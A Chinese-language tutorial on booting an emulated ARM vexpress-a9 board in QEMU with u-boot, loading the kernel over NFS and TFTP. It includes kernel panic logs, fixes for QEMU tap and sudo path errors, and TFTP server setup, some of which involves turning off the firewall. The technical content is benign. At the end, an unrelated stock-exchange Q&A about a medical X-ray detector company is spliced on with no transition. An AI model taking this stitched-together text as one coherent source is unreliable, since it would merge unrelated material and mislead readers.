sudo /usr/local/qemu6.2.0/bin/qemu-system-arm -M vexpress-a9 -m 512M -kernel zImage -dtb vexpress-v2p-ca9.dtb -sd sdcard.img -nographic -net nic -net tap,ifname=tap0,script=no,downscript=no -append "root=/dev/nfs rw nfsroot=192.168.153.170:/home/biren/nfsFile,v3 ip=192.168.153.160:192.168.153.170::::eth0:off console=ttyAMA0 init=/linuxrc" -rtc base=localtime,clock=host
错误二:
devtmpfs: error mounting -2
end Kernel panic - not syncing: Requested init /linuxrc failed (error -2)
解决方法一:
将根文件系统挂载到nfsFile目录下:
biren@ubuntu:~$ sudo mount buildroot-2019.11-rc1/output/images/rootfs.ext3 ./nfsFile
或者直接将根文件系统里所有的资料都复制到/home/biren/nfsFile里面
biren@ubuntu:~$ sudo mount buildroot-2019.11-rc1/output/images/rootfs.ext3 ./nfsFile/biren@ubuntu:~$ ls ./nfsFile/bin etc lib32 lost found mnt proc run sys usrdev lib linuxrc media opt root sbin tmp var
解决方法二:(可能的原因之一)
重新将busybox编译成静态的:
biren@ubuntu:~/buildroot-2019.11-rc1$ make qemu_arm_vexpress_defconfig
biren@ubuntu:~/buildroot-2019.11-rc1$ make help (查看可用的命令)
biren@ubuntu:~/buildroot-2019.11-rc1$ make busybox-menuconfig
位置:Settings ---> [*] Build static binary (no shared libs)
biren@ubuntu:~/buildroot-2019.11-rc1$ make -j4
启动内核方法五:用nfs加载内核(手动)
1、将rootfs.ext3 vexpress-v2p-ca9.dtb zImage复制到nfsFile目录里
2、tap0设置:与前同
3、启动u-boot命令:
sudo /usr/local/qemu6.2.0/bin/qemu-system-arm -M vexpress-a9 -m 512M -kernel /home/biren/u-boot-2019.10/u-boot -nographic -net nic -net tap,ifname=tap0,script=no,downscript=no -rtc base=localtime,clock=host
4、设置网址(以下在虚拟qemu里操作)
=> setenv ipaddr 192.168.153.160
=> setenv serverip 192.168.153.170
5、加载内核到DRAM内存
=> nfs 62008000 192.168.153.170:/home/biren/nfsFile/zImage
=> nfs 62a08000 192.168.153.170:/home/biren/nfsFile/vexpress-v2p-ca9.dtb
6、ubuntu里挂载根文件系统rootfs.ext3到nfsFile
biren@ubuntu:~$ sudo mount buildroot-2019.11-rc1/output/images/rootfs.ext3 ./nfsFile/
7、设置bootcmd/bootargs
=> setenv bootargs 'root=/dev/nfs rw nfsroot=192.168.153.170:/home/biren/nfsFile,v3 ip=192.168.153.160:192.168.153.170::::eth0:off console=ttyAMA0 init=/linuxrc'
8、启动内核:
=> bootz 62008000 - 62a08000
启动内核方法六:自动用tftp加载内核到DRAM并启动
1、修改/home/biren/u-boot-2019.10/include/configs/vexpress_common.h,加入以下内容:
#define CONFIG_BOOTCOMMAND "tftp 0x62008000 zImage; tftp 0x62508000 rootfs.ext3.ramdisk; tftp 0x62a08000 vexpress-v2p-ca9.dtb; setenv bootargs 'root=/dev/ram rw console=ttyAMA0 init=/linuxrc'; bootz 0x62008000 0x62508000 0x62a08000;"#define CONFIG_IPADDR 192.168.153.160#define CONFIG_NETMASK 255.255.255.0#define CONFIG_SERVERIP 192.168.153.170
重新编译u-boot:
biren@ubuntu:~/u-boot-2019.10$ make ARCH=arm CROSS_COMPILE=arm-linux-gnueabi- -j4
2、tap0设置:与前同
3、启动u-boot(同时自动启动内核)命令:
sudo /usr/local/qemu6.2.0/bin/qemu-system-arm -M vexpress-a9 -m 512M -kernel /home/biren/u-boot-2019.10/u-boot -nographic -net nic -net tap,ifname=tap0,script=no,downscript=no -rtc base=localtime,clock=host
启动内核方法七:自动用nfs加载内核到DRAM并启动
1、修改/home/biren/u-boot-2019.10/include/configs/vexpress_common.h,加入以下内容:
#define CONFIG_BOOTCOMMAND "nfs 62008000 192.168.153.170:/home/biren/nfsFile/zImage; nfs 62508000 192.168.153.170:/home/biren/nfsFile/rootfs.ext3.ramdisk; nfs 62a08000 192.168.153.170:/home/biren/nfsFile/vexpress-v2p-ca9.dtb; setenv bootargs 'root=/dev/ram rw console=ttyAMA0 init=/linuxrc'; bootz 0x62008000 0x62508000 0x62a08000;"#define CONFIG_IPADDR 192.168.153.160#define CONFIG_NETMASK 255.255.255.0#define CONFIG_SERVERIP 192.168.153.170
2、其它与“方法六”一样
==================================
问题说明 :
问题一:
end Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block
可能原因:
root=/dev/ram(mmcblk0, sda, vda等)设置出错
编译内核时参数设置错误
启动时缺乏dtb参数等
......VFS: Cannot open root device "(null)" or unknown-block(0,0): error -6Please append a correct "root=" boot option; here are the available partitions:1f00 131072 mtdblock0 (driver?)1f01 32768 mtdblock1 (driver?)Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0)CPU: 0 PID: 1 Comm: swapper/0 Not tainted 4.19.16 #1Hardware name: ARM-Versatile Express[<80110dbc>] (unwind_backtrace) from [<8010c9f8>] (show_stack 0x10/0x14)[<8010c9f8>] (show_stack) from [<806a8a80>] (dump_stack 0x88/0x9c)[<806a8a80>] (dump_stack) from [<80120bf8>] (panic 0xf0/0x25c)[<80120bf8>] (panic) from [<809015e8>] (mount_block_root 0x210/0x2bc)[<809015e8>] (mount_block_root) from [<809017b4>] (mount_root 0x120/0x13c)[<809017b4>] (mount_root) from [<80901920>] (prepare_namespace 0x150/0x198)[<80901920>] (prepare_namespace) from [<80901190>] (kernel_init_freeable 0x354/0x364)[<80901190>] (kernel_init_freeable) from [<806bcee0>] (kernel_init 0x8/0x110)[<806bcee0>] (kernel_init) from [<801010e8>] (ret_from_fork 0x14/0x2c)Exception stack(0x9f48ffb0 to 0x9f48fff8)ffa0: 00000000 00000000 00000000 00000000ffc0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000ffe0: 00000000 00000000 00000000 00000000 00000013 00000000---[ end Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0) ]---
问题二:
/etc/qemu-ifup failed with status 256
biren@ubuntu:~/buildroot-2019.11-rc1/output/images$ sudo /usr/local/qemu6.2.0/bin/qemu-system-arm -M vexpress-a9 -m 512M -kernel /home/biren/u-boot-2019.10/u-boot -sd rootfs.ext3 -nographic -net nic -net tap,ifname=tap0WARNING: Image format was not specified for 'rootfs.ext3' and probing guessed raw. Automatically detecting the format is dangerous for raw images, write operations on block 0 will be restricted. Specify the 'raw' format explicitly to remove the restrictions.qemu-system-arm: -net tap,ifname=tap0: network script /usr/local/qemu6.2.0/bin/../etc/qemu-ifup failed with status 256
原因:是qemu-system-arm启动时会去查找/etc/qemu-ifup和/etc/qemu-ifdown并执行,这两个文件缺失或配置错误导致。
解决:
加上script=no,downscript=no参数即可
sudo /usr/local/qemu6.2.0/bin/qemu-system-arm -M vexpress-a9 -m 512M -kernel /home/biren/u-boot-2019.10/u-boot -sd rootfs.ext3 -nographic -net nic -net tap,ifname=tap0,script=no,downscript=no
问题三:
sudo: qemu-system-arm: command not found
biren@ubuntu:~/buildroot-2019.11-rc1/output/images$ sudo qemu-system-arm -M vexpress-a9 -m 512M -kernel /home/biren/u-boot-2019.10/u-boot -sd rootfs.ext3 -nographic -net nic -net tap,ifname=tap0,script=no,downscript=nosudo: qemu-system-arm: command not found
原因:
是配置网络需要root权限,所以要用上sudo,而sudo是默认开启了- -with-secure-path选项
解决:
方法一:qemu-system-arm加上绝对路径
方法二:修改/etc/sudoers文件,将qemu-system-arm所在的目录加入Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"中
问题四:
qemu-system-arm: -net tap,ifname=tap0: could not configure /dev/net/tun (tap0): Operation not permitted
解决:在命令前加上sudo
问题五:
Unknown command 'nfs' - try 'help'
=> nfs 62008000 192.168.153.170:/home/biren/nfsFile/zImageUnknown command 'nfs' - try 'help'=> help nfsUnknown command 'nfs' - try 'help' without arguments for list of all known commands
原因:
编译u-boot时没选上nfs
解决:
选上nfs选项后重新编译u-boot
biren@ubuntu:~/u-boot-2019.10$ make vexpress_ca9x4_defconfig
biren@ubuntu:~/u-boot-2019.10$ make menuconfig
位置:Command line interface --> Network commands
重新编译即可:
make CROSS_COMPILE=arm-linux-gnueabi- all
=====================================
其它说明 :
initrd(initial ramdisk)是在系统引导过程中挂载的一个临时根文件系统 ,用来支持两阶段的引导过程。initrd文件中包含了各种可执行程序和驱动程序,一般被用来临时的引导硬件到实际内核vmlinuz能够接管并继续引导的状态,也可以用来挂载实际的根文件系统,然后再将这个 initrd RAM 磁盘卸载,并释放内存。在很多嵌入式Linux 系统中,initrd 就是最终的根文件系统。
接口:tty0, ttyAMA0, ttySAC0, ttyS0
AMA:是Advanced Microcontroller Bus Architecture的缩写,是ARM的一种 UART设备(ARM AMBA PL011)
设置:mknod /dev/ttyAMA0 c 204 64
编译内核命令:
make zImage //编译生成zImage镜像文件
make dtbs //编译生成设备树镜像文件
make LOADADDR=0x60003000 uImage -j4 指定uImage的加载地址
ubuntu中重启网络命令:
sudo service networking restart或sudo service network-manager restart或/etc/init.d/networking restart或sudo ifdown -a && sudo ifup -a
tftp为何timeout?为何server error:1File not found
我这里是从ubuntu环境下载文件到板子上,首先发现TFTP:timeout,于是排查原因。
1、检查网线是否插好
首先,检查板子和ubuntu是否互通,我这里是可以相互ping通的,说明网线连接正常。
2、服务器防火墙是否关闭
如果ubuntu防火墙未关闭,tftp是不能正常使用的,用命令ufw status可以查看防火墙状态。
如果结果显示Status: inactive,说明防火墙关闭;如果结果显示Status: active,说明防火墙是开启的,这种情况下使用命令ufw disable关闭防火墙。
3、tftp服务没起
使用如下命令查看服务有没有
systemctl status tftpd-hpa
我这里提示需要安装服务端tftpd-hpa
也可以使用service tftpd-hpa restart,如果服务程序没有安装,则提示
Failed to restart tftpd-hpa.service:Unit tftpd-hpa.service not found.
服务端tftpd-hpa
客户端tftp-hpa
安装服务命令:
root@ubuntu#apt install tftpd-hpa
查看服务运行状态:
root@ubuntu#systemctl status tftpd-hpa
看到显示服务running,表示服务正常启动了。
打开配置文件
root@ubuntu# vim /etc/default/tftpd-hpa
内容如下:
TFTP_USERNAME="tftp" //tftpd程序使用的账户
TFTP_DIRECTORY="/srv/tftp" //目录
TFTP_ADDRESS=":69" //端口
TFTP_OPTIONS="--secure"
配置最后一行做如下修改:
TFTP_OPTIONS="--secure --create"
//--secure 解决跨目录问题
//--create给客户端开放写数据的权限
修改/srv/tftp的属性
root@ubuntu#chown tftp:tftp /srv/tftp
重启服务:
root@ubuntu#systemctl restart tftpd-hpa
在板子上某个目录输入如下命令:
#tftp -g -r test.c 192.168.8.xxx
回车后在当前目录就可以看到从ubuntu下载过来的test.c文件了,前提是两边的tftp均可以正常使用,此外ubuntu的/srv/tftp目录下准备好要下载的文件。
从本地上传文件到ubuntu,在板子上某个目录输入如下命令:
#tftp -p -l test.c 192.168.8.xxx
在ubuntu上/srv/tftp目录下可以看到上传的文件了
康众医疗:公司是一家专业从事数字化X射线平板探测器研发、生产、销售和服务的企业
同花顺(300033)金融研究中心3月25日讯,有投资者向康众医疗提问, 公司产品读出芯片是否已自研?
公司回答表示,您好!公司是一家专业从事数字化X射线平板探测器研发、生产、销售和服务的企业。自设立以来始终致力于深耕数字化X射线平板探测器行业,坚持自主研发和独立创新,公司拥有一支在数字化X射线平板探测器的集成设计方面具备丰富经验的研发团队,掌握了非晶硅TFT/PD的设计和制造、碘化铯的蒸镀和封装等关键技术;芯片的使用与产品研发则充分结合公司经营业务需要;如公开披露信息显示:目前前述原材料以外部采购为主,未来新产品研发模式(含自主研发)将全面基于经营业务发展需求展开。详情请见公司公开披露的相关资料,感谢您对公司的关注!
本文源自同花顺金融研究中心
免责声明:本文由用户上传,如有侵权请联系删除!